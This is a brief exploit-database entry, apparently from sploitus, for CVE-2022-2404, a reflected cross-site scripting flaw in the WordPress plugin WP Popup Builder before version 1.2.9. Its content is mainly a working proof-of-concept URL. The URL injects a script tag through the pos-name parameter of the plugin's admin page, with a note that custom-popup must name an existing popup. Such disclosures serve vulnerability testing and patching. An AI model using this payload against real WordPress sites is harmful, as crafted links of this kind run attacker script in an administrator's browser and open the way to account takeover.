Exploit for WP Popup Builder < 1.2.9 - Reflected Cross-Site Scripting CVE-2022-2404

Name: Exploit for WP Popup Builder < 1.2.9 - Reflected Cross-Site Scripting CVE-2022-2404
Rating: 5 (172 reviews)

2022-09-05 | CVSS 0.1

## https://sploitus.com/exploit?id=WPEX-ID:0D889DDE-B9D5-46CF-87D3-4F8A85CF9B98
The custom-popup parameter needs to be the ID of an existing popup

https://example.com/wp-admin/admin.php?page=wppb&pos-name=xxx"><script>alert(%2FXSS%2F)%3B<%2Fscript>&custom-popup=1